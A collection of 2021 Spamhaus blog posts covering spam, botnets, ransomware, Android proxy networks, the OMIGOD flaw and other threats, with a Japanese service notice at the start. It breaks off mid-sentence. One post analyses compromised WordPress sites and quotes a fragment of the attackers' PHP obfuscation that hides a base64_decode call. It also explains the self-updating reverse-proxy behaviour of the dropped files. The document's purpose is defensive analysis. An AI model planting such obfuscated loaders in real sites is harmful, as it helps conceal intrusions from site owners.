2021年11月30日以降の変更 – Sakuraのお客様のなかで、Public Mirrorsを通してSpamhaus.orgの無料のブロックリストをご利用中の方々に、2021年11月30日火曜日以降はこのサービスが利用できなくなることをお知らせします。### サービス終了の理由 Spamhaus.orgではオープンリゾルバーによる問い合わせを、Public Mirrorsを通す無料のサービスでは受け付けておりません。 Public Mirrorsは小規模な自営業、学校、NPO(非営利団体)が無償で安全にメールを整理するために存在しています。利用規約はこちら(https://www.spamhaus.org/organization/dnsblusage/) 残念ながら、オープンリゾルバーの匿名性を利用して、Public Mirrorsで大規模な問い合わせを行う方々がいらっしゃったので、彼らの使用を制限することになりました。 Spamhausのブロックリストを無料で利用し続ける方法非営利目的のお客様は今後も無料でSpamhausの世界に通用するDNSBLを利用し続けることができます。その際に無料のDQSへの登録が必要となります。(https://www.spamhaus.com/free-trial/sign-up-for-a-free-data-query-service-account/) メールの再設定は、DQS登録時に配布されるコードを入力すると数分でできるようになります。詳しい手順はこちら(https://docs.spamhaus.com/datasets/docs/source/40-real-world-usage/PublicMirrors/MTAs/000-intro.html) 言語は日本語での対応をしておらず申し訳ございません。更に追加で利用できるサービス spamhaus.orgで利用可能なブロックリストらに追加で、リアルタイムの情報を使用することができます。さらに、安全性をより高めるために追加のブロックリストを利用することも可能になります。追加できるブロックリスト Zero Reputation Domain (ZRD)−新しく登録されたドメインもリストに含みます。(元々存在していたドメインに比べてサイバー犯罪者が使っている可能性が高いため。) Auth Blocklist (Auth BL)ー怪しいボットを使うIPアドレスをリストに含みます。(ブルートフォース攻撃や他者のSMTP-AUTHで送られるボットのスパムメール、フィッシング詐欺、マルウェア感染など。) 重要:エラーコードを正しくパースできるか確認してください 2021年11月30日をもって、Sakuraのリゾルバーでスパムハウスの無料DNSBLでお問い合わせをする方にはエラーコード127.255.255.254が表示されます。当日までにメールが再設定されていない場合は、メールが全てもしくは0通ブロックされる可能性があります。 DQSへの登録をしない場合は、メールの設定を更新してください。一般的なMTA用の設定についてはこちら(https://docs.spamhaus.com/datasets/docs/source/40-real-world-usage/PublicMirrors/MTAs/000-intro.html)から探すことができます。皆様の安全皆様がDQSに登録することを選択し、今後も業界内の大御所も守っているIPとレピュテーションのデータを使用し続けることを願っております。

We hope you keep ".sbs" clean, ShortDot

The Spamhaus Team — Fri, 19 Nov 2021 13:52:14 GMT

When a new top-level domain (TLD) is starting out, we understand that it needs to find its way to being commercially viable. But registries need to walk a fine line between profit and managing abuse on their TLD. One of the Spamhaus Project Team takes a look at TLD “.sld”. Profit vs. managing abuse On the side of profit, a registry requires as many domains as possible to be registered and operating with its TLD. Meanwhile, on the side of managing abuse, a registry needs to pro-actively work with the relevant organizations to assist in taking down malicious domains and stop bad actors from registering new ones. We don’t know precisely where the line falls between the two – it’s not our job to. Nevertheless, it is the job of our researchers and analysts to list malicious domains. Is it, or isn’t it terminated? .sbs recently came to our attention. We’ll be honest, at an initial glance, we thought this TLD was in the process of being terminated but quickly realized this wasn’t the case. In November 2014, .sbs was registered with ICANN by Australia Broadcaster, Special Broadcasters Services (SBS), and yes, you can spot the birth of a TLD in that acronym! In April 2020, the broadcaster filed a termination notice with ICANN. ICANNWiki states, “On April 22, 2020, Special Broadcasting Service submitted a Termination Notice to ICANN. ICANN is currently processing the termination request according to its procedures.” Still, since the wiki isn’t run by ICANN, we decided to dig a little deeper. We soon discovered that .sbs was taken over by ShortDot in June of this year and became a generic TLD (gTLD). Unfortunately, even ICANN’s records appear to be a little askew as their website indicates that ShortDot’s operator agreement started on 7 November 2014 – clearly the date of the original agreement with SBS. Although, in fairness, IANA’s Delegation Record for .sbs is still showing SBS as the sponsoring organization. So, it would appear various key organizations need to update their records. Do increased registrations need to equal increased abuse? The graph below clearly illustrates how .sbs is starting to grow in popularity. The green shows the total number of newly registered domains. Unfortunately, that popularity is not only shared amongst legitimate operators, as the red in the graph shows. In the past month, our analysts listed 10% of their total registered domains. Now, in the grand scheme of things, that’s not a disgraceful percentage; after all, in the Top 10 Most Abused Top Level Domains, operators are showing rates between 19%-59%. BUT. (and there’s always a but, isn’t there?) When you have, what is effectively a shiny new domain, clean and pristine, surely you want to keep it that way? Particularly, when you’re marketing .sbs to stand for “Side-by-Side“ and your value propositions is a TLD “where people cultivate unbiased mindsets” and “public interest agendas meet meaningful actions.” Surely this TLD doesn’t want to be associated with any malware? Over the coming months, we will be exploring the world of TLDs, talking with registries, and looking at what they’re doing to fight abuse. Hopefully, .sbs keeps a lid on the amount of abuse on their TLD to match their value proposition… we’re always happy to provide advice to assist in those efforts.

"The day I blocked a nation from sending email..." and its unlikely aftermath

The Spamhaus Team — Fri, 29 Oct 2021 11:30:53 GMT

In celebration of Ray Tomlinson sending the first-ever networked email 50 years ago today – and introducing the ‘@’ symbol convention – one Spamhaus Project researcher looks back into the archives to when spam fighting was 100% manual. Alex shares when they blocked the whole of Italy, and unbelievably, nobody wanted to do anything to fix it! Not until one government official complained he couldn’t email his mistress… Spam storm surge No kidding, there I was, with my finger on the button to block the domain “interbusiness.it“, which at the time – 2001 – was used by Telecom Italia for ALL business customers. The Italian domain was generating a significant portion of the millions of daily “This Is Spam” complaints from the user base of 34 million AOL had then, and it was getting completely out of hand. We had a mandate to reduce user-generated complaints by 95% by the end of that year, so something had to be done immediately. Hello? Is anybody out there? The spam was originating from IPs that used the rDNS “interbusiness.it“. I had spent a couple of months trying to contact someone in charge of this domain, with no luck at all. I wrote emails. I made phone calls. Occasionally these were answered, but they always got transferred to a line that then rang out. I could not get anyone to pay attention and the spam tide was rising, so I asked management if I could take the nuclear option, and they said “yes.” Ready, Aim, FIRE! I took a deep breath and pulled the trigger, expecting an immediate explosion…but to my surprise, I was met with thunderous silence. I had anticipated a frantic email or a panicked phone call making its way to me the next day, but that didn’t happen. These were an entire nation’s business customers, right? Surely this would cause some problems? Apparently not! A month passed, during which my mother called me from Italy and asked why she could not email her Italian mother’s AOL account. At that point, I admitted that I had essentially blocked Italy from sending email to AOL, and suggested she call Nonna instead. Extramarital pressure I waited some more. Another three weeks went by, and finally, my phone rang. On the other end of the line was a very agitated young man from Telecom Italia who told me that the mayor of his city had called him. The mayor had demanded he drop everything and fix the issue immediately, because the mayor needed to email his mistress – seriously! Feedback loop to the rescue AOL had recently developed a feedback mechanism by which they could – after mutual agreement – send a copy of a user-generated spam complaint back to the originating network. This would allow their abuse desks to locate and terminate the source of the spam. So when this guy called, I explained the problem and offered to set up a feedback loop for him. He said there was no way he could make that work, but called the following day again to plead his case. We went around like this for a few days. Exasperated, I finally told him that I was coming to Italy to visit my grandmother the next week and could drop by his office in Rome to discuss it in person if he liked. He was horrified and declined. I waited some more. Eventually, they caved, of course, and we set up the feedback loop. Over the next few years, we developed an excellent working relationship, and their spam problem declined remarkably. To this day, my mom calls me when she has problems sending email and asks me if I blocked whatever random country. No, Mom, not anymore. The machines do that for us now! What’s your most memorable email anecdote? These moments to come together and share stories of times gone by are rare – never more so than now. So, to celebrate sending email over a network being 50 years old, join the community in sharing your most interesting email stories and connect using the hashtags #QWERTYUIOP and #50yrsofemail

When doorbells go rogue!

The Spamhaus Team — Tue, 19 Oct 2021 16:16:46 GMT

Throughout 2020, the researchers at the Spamhaus Project observed swathes of residential and small enterprise IPs emitting an avalanche of spam, listing them on the eXploits Blocklist (XBL). The only similarity was a specific port 25 spam connection. But what was the source? Alex Grosjean, one of the Project’s researchers, shares an incredible story of how one retired man and his doorbell, along with a heap of patience, helped uncover the mystery behind these listings. Ding Dong! Spam Delivery! It was spring in 2020. After a long two and a half weeks, and an intense flurry of daily emails, I finally got the email I was waiting for. “Alex!! I found it, I found the source of the spam! It was MY DOORBELL!” He could not believe it, and I was dumbfounded. A doorbell?! Yes, a doorbell, and then as though a dam had broken, the information began flooding in. The spamming sources were a doorbell, a firestick, a CCTV system, a phone, a tablet, a browser toolbar, a laptop. The causes were a ringtone, a channel unlocker, free streaming, a shopping app, a game. The operating system was Android, whose liberal permissions policy allows third-party apps to be easily installed. The vector was a gigantic and exponentially expanding “residential proxy network,” and altogether, this was a perfect ecosystem for spammers. Looking for a needle in a haystack Around the end of 2019, we saw a startling uptick in the number of IP addresses being listed due to spamming with a specific type of port 25 spam connection. As a result, we were suddenly adding a ton of residential, small business, and Carrier Grade NAT (CGNAT) IPs to our blocklists that we had not previously seen. We saw close to a million of these connections every day! Many people were opening tickets to request additional information about why they could not send an email. Most of them were retirees, small business owners, or people newly working from home, thanks to Covid-19. All of them were frustrated, some of them were angry, and some were also very determined. At the time, though, we had little specific information regarding the cause of the problem, so all we could do was tell people to limit their outbound port 25 to mail servers and to run malware/virus scans. Surprisingly, although limiting port 25 was effective, a minute number of people found any malware source that could account for the mysterious spamming behavior we saw – until I got that revelatory email. Amateur detective “Mr Shore” investigates Mr. Shore – the gentleman who sent me that email – lives in the UK, is 75, told me in no uncertain terms he was “non-technical and not up on all this new stuff!” and that he urgently needed his email to run his local Rotary Club. He was initially really hostile – and who can blame him? All of a sudden, he couldn’t send an email, and the only explanation he got was the rejection code in the bounces. His ISP could not help. Those codes referred him to “Spamhaus,” and we told him a story that sounded like science fiction to him. However, after some discussion, he decided that he believed me and became utterly determined that he would find the source of the problem, his lack of technical skills be damned. The usual malware scans turned up nothing, so he started by unplugging every single thing in the house that was able to connect to the internet, and over the next two weeks, he’d reconnect one item, email me to remove his IP, and then we’d wait to see if his public IP got listed again. This very slow process of elimination finally resulted in the “ITS MY DOORBELL!” email – he had an Android-based smart doorbell that his son had installed a month before. After he disconnected it, the spam detections stopped for good. Of course, then he wanted answers. How could this happen, and why was it allowed? Truth is often stranger than fiction This pattern began to repeat itself, revealing more devices and more apps. Finally, the picture became clear: the spam was primarily issuing from Android devices that had third-party apps that included a specific software development kit (SDK). We found this SDK in many different apps, including streaming media, games, shopping apps, a custom ring tone for a Samsung phone, and free VPNs. One such app that could be installed on an Android digital media player was an extremely popular pirate streaming app called Mobdro (which is now apparently permanently offline). Mobdro was the origin of many Spamhaus detections, and upon closer inspection of its license agreements, we found the final clue. SDKs are often marketed as a way to monetize apps. It turned out that an unscrupulous company had the idea of creating an SDK that included a proxy and burying the relevant part of the End User License Agreement (EULA) two or three EULAs deep, so no one would notice that they were actively consenting to “share their idle resources” in return for “free” features such as no ads. They were correct, of course: no one reads EULAs, especially if they are installing an app that will be used for illegal purposes! And so, all the Mobdro users became part of a “residential proxy network” with more than 70 million IPs available in it. This was then enthusiastically and prolifically abused by spammers, who cheerfully paid for access to it because it was a gold mine. Access to port 25 + a pandemic = a perfect storm Many networks still allow their users unrestricted access to port 25 – even on carrier-grade NAT IPs shared by thousands of people. Additionally, some ISPs continue to ship routers to end-users with port 25 open by default. Android has permissive policies for installing 3rd party apps. Many small businesses don’t have the knowledge or resources to employ good network security. Together, these lax policies allow residential proxy networks to thrive, abusing the network resources of millions of people without any thought or consideration as to how they or their businesses may be affected. As the pandemic took hold in 2020, all of the above was amplified, forcing businesses and people to work remotely without preparation or precautions. Suddenly, people were working from home and connecting their insecure personal devices and networks to their jobs. The spam from those devices started flowing out of their work email server, which then got blocked. This caused big problems for small businesses struggling to survive, and the sheer volume of people at home in lockdown perpetuated the issue – what do people stuck at home do? Sign up for free VPNs, stream media, play games, and go online shopping! As our investigations progressed, people started asking questions about what else that carefully hidden little bit of code could have been doing, and the answer is… we don’t know. All Spamhaus saw was the spam. Spam can be a mere nuisance, or it can be maliciously laden with malware. The proxy that had been slipped behind people’s firewalls seems like a very tempting proposition for miscreants who intend to do more than send basic “pills” spam. On its face, this bears a lot of similarity to how many types of malware spreads. Once the malware is safely inside the network, it starts finding additional vulnerabilities and exploits them. Who is to say that criminals do not use proxy networks in a similar way? This is ridiculous! How do I keep myself safe? It would be wonderful if Android made installing such third-party apps harder, but in the meantime, the best advice we can offer is not to install them. You should ONLY install apps from the official stores. Network operators could do a lot to help mitigate the damage by limiting outbound port 25 to email server access only. When it comes to the use of CGNATs, this is especially true, where one person’s compromised Android device can affect the daily business of thousands of other people who are sharing those IPs. ISPs could start shipping routers without port 25 access, and they could provide clear, accessible documentation available for home users on how to close outbound port 25 on existing routers. It would also be worth considering the legality and ethics of creating and using such a network. It is a reasonable assumption that most people whose resources are being used in this way are not aware of it, and if they were, they would terminate the agreement. ISPs don’t appreciate being abused in this way either, but these proxy networks are so spread out that the effect is rarely localized enough to create the kind of problems that spark change. Getting the kind of global level of cooperation required to put a stop to it is unlikely since there are much more imminent threats that grab the focus. These proxy networks are nominally legal, to be sure – after all, people do click “agree” on the EULAs even though they have no idea what the agreement says, but what they are then used for is often wholly illegal. It’s a very clever and utterly ethically bankrupt business model, and it is all about the money, in the end – the modern, digital way of making “money for nothing” and then laughing all the way to the bank. There oughta be a law.

Botnet Threat Update Q3 2021

The Spamhaus Team — Thu, 14 Oct 2021 12:00:00 GMT

Q3 has seen a massive 82% rise in the number of new botnet command and controllers (C&Cs) identified by our research team. They have observed an explosion in the use of backdoor malware with nefarious operators hiding behind FastFlux.

Using OMI on Microsoft Azure? Here's an update you need to read

The Spamhaus Team — Tue, 28 Sep 2021 19:48:59 GMT

On September 14, 2021, the Wiz research team published a blog post describing OMIGOD, an easy-to-exploit security vulnerability that allows remote code execution (RCE) on virtual machines where Open Management Infrastructure (OMI) is installed. Users need to take action! If you have never heard of OMI, you are not alone! It’s an open-source project run by Microsoft that’s not that well-known. However (worryingly in this case), it’s one of the most widespread programs installed on the Azure Cloud virtual machines. The issue is that OMI has not been updated automatically, as one would expect, so the sysadmins responsible for these servers could unknowingly leave an outdated version of OMI exposed to the wild. As of today (September 17, 2021), Microsoft has started updating impacted Azure services. However, thousands of servers remain exposed with an easily exploited security vulnerability. How long has this RCE through OMI been exploited in the wild? We are not certain, but our researchers see Mirai malware variants actively exploiting this vulnerability on the exposed Azure servers. Here’s a great example. This means that, like so many other things, Mirai variants are migrating to the cloud. Our eXploits Blocklist (eXBL) dataset includes Mirai sightings, so our researchers will keep you posted if the situation changes dramatically. What to do if you have OMI installed If you are a Microsoft Azure user – DON’T PANIC! Grab a coffee, keep reading and put a plan of action together. All OMI versions below v1.6.8-1 are vulnerable. We urge you to check your OMI version, and if it is at risk, have your security team read and implement this documentation from Microsoft as soon as possible. Please consider that your servers may have already been exposed to an attack! If your servers are running OMI, you should consider them insecure and take the corrective actions that your IT team suggests. What if your servers have been compromised? If your machines have been exploited, are part of a botnet, or are misbehaving in other ways, it may be time to consider Spamhaus’ Intelligence API (SIA). This API enables you to promptly detect if you have an issue with one (or more) of your IPs, i.e. if it’s listed on our eXploits blocklist or CSS blocklist. SIA serves up enriched data relating to IPs that our research team observes to exhibit signs of compromise or IPs emitting spam. Remember reputation matters The word “compromise” immediately brings to mind ransomware horror stories, given the recent proliferation of high-profile attacks that have been covered in the media. But, you must remember the importance of the reputation of your IP space. If the IP space you use is seen to be a cesspit, be it no fault of your own, then trouble will follow, including issues with sending legitimate emails. The data provided through SIA allows you to view both current and historical IP listings, arming you with the knowledge of how much compromise has happened across your network today and what has happened historically. This provides you with a good indicator of how good or bad your IP reputation may be. Testing the waters If you’d like to experiment with SIA data and how you can utilize it, you can sign-up for a free Developer License, which provides you with a limited number of queries per month at no cost. Finished your coffee? It’s time to start to put that plan into action. Good-luck! We hope you don’t find any signs of compromise.

Spammer Abuse of Free Google Services

The Spamhaus Team — Thu, 23 Sep 2021 22:23:42 GMT

Over the past year, Spamhaus has noticed a surge in spam that abuses free resources belonging to Google. This is becoming a serious concern, because a significant and growing amount of that spam is avoiding use of IP addresses and domains belonging to spammers. Instead, it deliberately uses legitimate users at Google to prevent blocklists from listing the IP addresses and domains used in this spam. In other words, these spammers are using Google's users as human shields to force their unsolicited and unwanted bulk email on recipients. The abused resources of most concern to Spamhaus are: Google outbounds**. A large and increasing amount of spam email is sent directly through Google's shared outbound servers. Gmail dropboxes**. A large percentage of all dropbox email addressess used in the Reply-to: headers and message bodies of spam are free email addresses at Google's GMail service. Gmail senders**. A considerable amount of spam is sent from free webmail accounts at Google Gmail. Google Groups**. Spamhaus has identified several large spam operations that send spam partly or entirely through purpose-created groups at Google Groups. Google Docs, Drive, and Forms**. A large amount of spam, including malware and phishing spam, contains URIs that point to content hosted on Google Docs, Google Drive, and Google Forms. A few resources exist to filter this spam. The Spamhaus Hash Blocklist (HBL) is available to customers of Spamhaus Technology corporation. (See further information on the HBL here.) There are a few other blocklists that offer hash-based blocking of email addresses and URIs. Several spam filters, including rSpamD, provide their own internal signature-based protection as well. However, most of the tools to block spam sent through major webmail providers such as Google rely on content filtering. Content filtering is inherently error-prone. It will miss spam unless the filters are extremely carefully and aggressively maintained, or will catch legitimate email (cause false positives) if the filters are too aggressive. Spamhaus reports some of this spam to Google, and sometimes the problem spam stops or resources are taken down, especially if they involve malware or phish. However, the spammers usually just create new free services and resume spamming. Although this blog is about Google because its size makes the problem larger there than on other major webmail and hosting sites, the same issues apply to Microsoft, Yahoo, and other such services. Spamhaus also specifically researches and shares URIs that point to malicious content with industry groups that focus on malware, fraud and other criminal activities on the Internet. In addition, the Spamhaus SBL team creates some informational (non-blocking) SBL listings for IP addresses at Google and other free providers that are used in criminal or particularly aggressive, high-volume spam to notify Google and users about that spam. A ROKSO is now live for the largest and longest-lived of several spam operations that send spam through Google Groups. SyedsMarketing, one name (and, we think, the primary name) of this spam operation, has been on Spamhaus radar for many years. It switched to spamming through Google Groups a few years ago, but has decade-old SBL listings. In addition to information about the business, the ROKSO contains lists of Google Groups and Gmail email addresses used in this spam. Spamhaus has been able to list certain IP addresses and URI domains in SyedsMarketing spam in the SBL since SyedsMarketing moved to Google Groups. However, it cannot list the sending iP addresses or domains because those belong to Google, not SyedsMarketing, and are used by large numbers of innocent, non-spamming users. Spamhaus hopes that the lists of Google Groups and GMail addresses in the SyedsMarketing ROKSO will be of use in blocking spam, or helpful to Google to identify and remove the spam accounts and resources from their network. As new resources and information become available from Spamnaus, they will be announced in news releases or blogs on the Spamhaus website.

Botnet Threat Update Q2 2021

The Spamhaus Team — Tue, 13 Jul 2021 12:00:00 GMT

Researchers may have observed a 12%reduction in botnet command and controllers (C&Cs), however, more than one industry-leading provider is struggling to keep on top of botnet activity.

Emotet Email Aftermath

The Spamhaus Team — Wed, 23 Jun 2021 08:57:56 GMT

At the end of January 2021, Europol announced that a coordinated group of international authorities had taken control of the Emotet botnet infrastructure. Prior to this takedown, Emotet had spread itself using previously compromised email addresses to send tens of thousands of messages with malware-laden attachments using a technique called thread hijacking. Because of this method of proliferation, the takedown effort left a huge number of still-compromised email addresses vulnerable to further exploitation. Emotet compromised accounts cleanup Preventing these email addresses from potentially being abused by other malefactors was a necessary but complicated step. In mid-April, one of the law enforcement agencies involved in the takedown reached out to Spamhaus to ask if we could leverage our experience to help get the passwords for those email accounts changed. We were provided with a list of approximately 1.3 million compromised email accounts, which we broke down into over 22,000 unique domains and roughly 3,000 responsible networks. To help these email providers, networks and their users/customers, we created a dedicated web page. It provides information about the Emotet botnet, the remediation process, and created a method of securely providing the necessary data to the correct network owners. After having contacted everyone responsible and having provided additional support where needed we can safely say that currently over 60% of the compromised accounts have been secured. Spamhaus would like to thank the Abuse Desks, Trust & Safety departments and end users that took action - it really makes a difference! However, as we warned in a blog post published in January 2021, it is very important to recognize that this is not the end to the story. The malware Emotet dropped remains a persistent and imminent threat Six months after the Emotet takedown, a new picture is coming into focus. Emotet may be down, but the lucrative modus operandi of thread hijacking it popularized is being utilized by other ransomware botnets. Many of these attacks commonly begin with a successful email phishing campaign, which installs a spam sending module, and then begins email thread hijacking: the insertion of poisoned emails into existing email threads with the intent of fooling recipients into opening them. Once a malware-laden attachment has been opened, the threat actors can perform thorough network reconnaissance and drop additional malware onto the compromised computer. This chain of events often leads to the most attention-grabbing threat of the moment: entire networks being hijacked by ransomware. While there are different types of malware used to accomplish these attacks, we see that that variants previously dropped by Emotet are still very much alive: TrickBot steals access credentials for bank accounts, and is usually paired with the encryption trojan Ryuk - see below the graph for some examples of successful recent attacks. Ransomware post-Emotet There has been an shift in attack type and frequency – criminals are moving from stealing data to actively disrupting operations. With this, the damages increase by orders of magnitude when the target is physical infrastructure or healthcare services. The following incidents illustrate that: On May 9, 2021, a Russian ransomware gang called DarkSide successfully encrypted the network of Colonial Pipeline, which supplies the American East Coast with nearly half of its gasoline and jet fuel, forcing them to shut down operations. The resulting panic and social disruption went on for days, spreading to states that were not materially affected at all. A few days earlier, the Norwegian energy technology company Volue was attacked resulting in the shutdown of water and water treatment facilities, affecting approximately 85% of the Norwegian population. (Attributed to Ryuk) In early June 2021, another ransomware attack forced Brazilian meat processing company JBS to close many of their beef plants, disrupting meat production in North America and Australia. Later in June 2021, another attack paralyzed Ireland's public health care system. In France, two hospitals had to divert ambulances, reschedule surgeries and to revert to using paper for patient records. (Attributed to Ryuk) This approach has proven extremely effective as it provokes a very real sense of panic and urgency which creates an atmosphere most likely to lead to their desired result: a higher ransom can be demanded and the chance of it being paid increases. Prevention beats remediation Ransomware attacks are rapidly increasing in frequency and scope, with ever-larger ransom demands. They are now an established threat with vast implications which can often be prevented if the initial phishing campaign is unsuccessful. Practicing basic email and network security is your first line of defense. Email security: Employee Education:** The weakest link in network security is almost always people - social engineering is often key to a successful ransomware attack, which is why phishing emails are an easy path into an otherwise carefully secured system. Education is the first and most essential step every organisation should undertake. Teaching employees how to identify suspicious emails, and to not open unexpected attachments or unsolicited links can keep organisations from being compromised. Malware Scans:** Reputable anti-malware scanners should be kept meticulously up to date and run on all devices at regularly scheduled and frequent intervals. Disable Macros:** Not allowing macros in Microsoft Office to auto-run can prevent malware from executing in the event of a successful email thread hijack. Strong Passwords:** Email accounts should have strong passwords to protect from bruteforce attacks. Rate Limits:** Rate limiting outbound mail is an excellent way to slow a malware infection down. Very few individuals need to send significant volumes of email at a time! If network monitoring shows a sudden uptick in outbound mail volume, this should be considered an alarm. Watch Your Email Logs:** Monitor SMTP server logs for bounced email. Bounces can indicate that an antispam block list such as Spamhaus has included your email server IP address. If a system is compromised, being unable to send email due to a spam related blocklisting can be an early warning signal that something bigger is happening. Network security: The United States CISA published a comprehensive overview of preventative network security measures and countermeasures that can be utilised in the event of a breach. If you discover that any of your IP addresses are listed by Spamhaus, pay attention to the information provided when you look up the IP address on our checker tool. In most cases we have detailed information that will help you remediate the problem. Malware is insidious, and it often relies on expert social engineering coupled with the human tendency to inertia: we don't take things very seriously until they directly affect us, and then it is often too late. These kinds of attacks are a threat to all of us, and should be treated with immediate urgency by all network operators, large and small. In an increasingly interconnected world linked by ever changing technology, adaptable security measures for networks and email systems MUST be kept up to date and enforced. We are all in this together; let's work to keep each other safe.

Wordpress compromises: What's beyond the URL?

The Spamhaus Team — Thu, 27 May 2021 10:12:08 GMT

One of the many tricks in the modern cybercriminal miscreant's toolbox is using compromised websites to evade spam filters and domain reputation systems. Whether hiding a web-based exploit or just getting a free ride on the reputation of otherwise legitimate domains, using an existing domain name has multiple benefits – and that's not even taking into account the fact that stealing someone else's domain is cheaper than buying one. In this article we'll take a look beyond the URL of a compromised Wordpress website to provide some insight into what goes on once a website has been compromised. Why Wordpress? Many compromised sites turn out to be running Wordpress. Does this mean that Wordpress is a bad choice for a Content Management System (CMS)? No, Wordpress itself has improved greatly over the years and is in its default, out-of-the-box, state a solid and secure choice for many websites. This is supported that numbers show today over 40% of all websites worldwide run Wordpress. This vast market share means that there are many targets. Since these targets behave in a uniform way, it makes it attractive to develop tools to compromise them. It is important to note that it is not just Wordpress itself that is targeted. Many of the problems are actually caused by plugins that are not kept up to date, or plugins that are already backdoored at the moment they are installed. The latter especially happens with pirated versions of paid-for plugins. When investigating this particular subset of compromised websites, we found that over half of them were running the latest stable version of Wordpress at the time of investigation. As they were still compromised almost certainly means that either the sites were compromised through a plugin, or that the attackers managed to maintain persistence on the targeted websites: the actual exploit was done in the past, but files placed by the attackers survived any updates. Top 10 Wordpress versions seen on compromised websites From exploit to platform Eventually this toolchain becomes part of a bigger system, usually referred to by the miscreants as a TDS: Traffic Distribution System. This system manages the compromised sites, receives any hits from unsuspecting visitors and then serves them content based on pre-established parameters such as country of origin, browser type and operating system. Most TDS systems are a good example of how cybercrime facilitation has turned into the 'as a service' model: the group that runs the TDS sells capacity on the platform to other cybercriminals, to present their content to whatever demographic they may want to target. Some visitors may get a redirect to a casino website while others may be served a malicious browser plugin. Spamhaus detects compromised websites being used in spam directly, or as part of a redirection chain, and adds the hostnames to our datasets to protect our users. As a result, the website's owners discover that they have a problem, and this is often where the more difficult part begins, as many of these Wordpress users do not have the skills to find out what is wrong and how to fix it. Hiding - and staying hidden Perhaps unsurprisingly, the operators who compromise these websites do not make it easier to fix the compromise. One of the multiple groups that we track involved in mass-compromising Wordpress websites employs a couple of strategies to keep website owners in the dark: Deceptive filenames Initially, when the group exploits a WordPress website, they drop in 5-10 harmless-looking PHP files, with names like genericerror.php, email\_friend.php or weblog\_rss.php. The files are named in this fashion to avoid raising suspicion in case the webmaster decides to poke around his filesystem. Source code obfuscation If a curious admin decides to take a closer look at these files they will not find much readable code (which is a cause for alarm by itself!), since the files dropped by means of the exploit are obfuscated: $uabeg="ttbttttattstttttetttt6ttttt4tttt_ttttdttttettttcttttottdttet" $uu=str_ireplace("t","",$uabeg); This is just the first layer: the str\_ireplace command will replace all t's in the uabeg variable with nothing, leaving it to say base64\_decode. This is another PHP command which will be used to decode further parts of the file. Only after 3 levels of 'decryption' is the first interesting information revealed: it leads to a configurable remote location for content. While the obfuscation is simple, it is effective in putting automated tools off-track. Reverse proxy behavior One of the interesting approaches in this particular case is that the files inserted into the compromised Wordpress instance are really just reverse proxies: they will funnel the received traffic to the preconfigured (and obfuscated) remote location where the actual content lives. This not only means that the visitor doesn't get redirected, it means that the attackers have full control over what content gets served to what visitor! In combination with this proxying, a number of variables are also sent to the backend that can be used to segment the visitor traffic, so that multiple campaigns can be run from the same files at the same time. Among these variables are: ip(r)(x)(f) - The connecting IP address in various flavors dom - The domain and full URL of the inserted file ref - The HTTP referer header prox - Is the connecting IP acting as a proxy? agent - The user agent string lang - Browser preferred language Persistency on the compromised website Perhaps the most interesting feature of this particular TDS is that it can be remotely updated by the operators. By calling the script in a specific way and supplying a key in a HTTP variable, it can overwrite itself and thus update all its code, including the remote location where the content is served. In practice this means that even if the vulnerability in the original site or plugin is fixed, the dropped files can still be managed and used until they are deleted by the site owner. Additionally, at each update slightly different obfuscation can be used to make it harder to automatically find files like these on a compromised website. The scale of things While the technical side of a TDS is interesting, another way of looking at it is how much actual traffic it gets, and where that comes from. As we investigated this particular one, we collected some numbers on various aspects of this operation, covering a 48 hour window in early May 2021: | | | | --- | --- | | Country of visitors | Compromised sites feeding the TDS | | | | | Traffic seen|Webservers seen| | | | Furthermore: The content served could be divided into two categories: dating scams and bitcoin promotion. There seems to be no preference for particular top level domains to target or for places where the attacked websites are hosted. If it can be automatically compromised, the operators of this TDS will try it: given that the pages they inject are PHP based, if Wordpress runs, the TDS will run. Some visitors (around 200 distinct IP addresses) stand out quite a bit in terms of volume: these tend to be automatic URL scanners and other (web) security services. Among the compromised websites we found dozens of what are clearly development or staging websites. Sites like these often get forgotten with updates, or have weak login credentials. Recommendations for website owners While it is very hard to defend against a well funded attacker with a lot of resources, this is a somewhat lower tier of attacks. While the attacks are automated, they seem to exploit known issues with older Wordpress versions and plugins. Here's what you can do to prevent from being victimized by these kinds of attacks: Always keep Wordpress itself up to date Always keep plugins and themes up to date Do not use pirated versions of paid-for plugins and themes, as these can be backdoored (and if you find the plugin useful, the developers deserve your support!) Use strong passwords, also on staging/development websites If your website gets compromised, be sure to remove all files that don't belong to the software you actually use (this may require expert help). While getting compromised by a TDS like the one we describe in this article is certainly problematic, prevention is fortunately relatively straightfoward, and uses best practices any Wordpress administrator should already be using. Stay safe, and happy blogging! Indicators of Compromise (IOC) Even though the files dropped through the initial exploits can change in both name and content, we found that the list of filenames used at the moment is limited and has various distinct and unusual names. If you find any files named like the ones in the list below in your Wordpress installation and the contents look obfuscated, you can assume that your Wordpress has been compromised. Wordpress itself has a good page with helpful information and links on how to fix your instance. Observed filenames in Wordpress compromises

You can't buy data hygiene

Laura Atkins — Fri, 23 Apr 2021 09:06:14 GMT

Thank you to our guest author, Laura Atkins, for this blog post. Laura is a founding partner of the anti-spam consultancy and software firm Word to the Wise. With years of experience in tracing Internet abuse, Laura is a recognized leader in the anti-spam arena. Over the past few years, dozens of data hygiene services have come on the market. But are these services really delivering? Sadly, in most cases, the answer is no. For many companies using data hygiene services is a waste of money because good data hygiene starts at home. What are data hygiene services? The philosophy of data hygiene is simple. Addresses that bounce are bad for delivery. Therefore, remove all these addresses from a list, and all delivery problems will fade away. The selling point of data hygiene services is equally simple. Customers hand over a list of email addresses. The hygiene company then removes any bad data, i.e., undeliverable (bouncing) email addresses, and returns the list to the customer before being used in an email campaign. Many services also claim that they hold lists of spam traps and complainers, i.e., lists of people who continually complain about mail (often called ‘flamers’ lists). Suppose you attempt to reduce deliverability issues down into a single simple problem, i.e., sending too much mail to non-existent addresses. In that case, you may be able to fool yourself into thinking you can apply an equally simple solution. The reality is that deliverability is not a simple problem, and a single simple solution isn’t going to fix it. Spammers invented data hygiene In the late 1990s and early 2000s, one way spammers harvested addresses was via ‘dictionary attacks’ on Internet Service Providers (ISPs). A dictionary attack was simple. Spammers would open a connection to a mail server and attempt to send mail to an email address. Once the mail server responded that the address was valid (or not valid), they would close the connection without ever sending mail. The name ‘dictionary attack’ derived from the fact that the spammers often made up email addresses using words from the dictionary and tested them alphabetically. ISPs quickly developed defenses against these kinds of attacks, including blocking any IP that tried to send mail to multiple non-existent addresses. The first data hygiene companies adopted similar technology to that of the spammers but renamed it “SMTP address verification.” However, instead of using random words from the dictionary, they used their customers’ email address lists. Many services added a second transaction with a long and likely unused address to identify servers that accepted mail to any address. ISPs 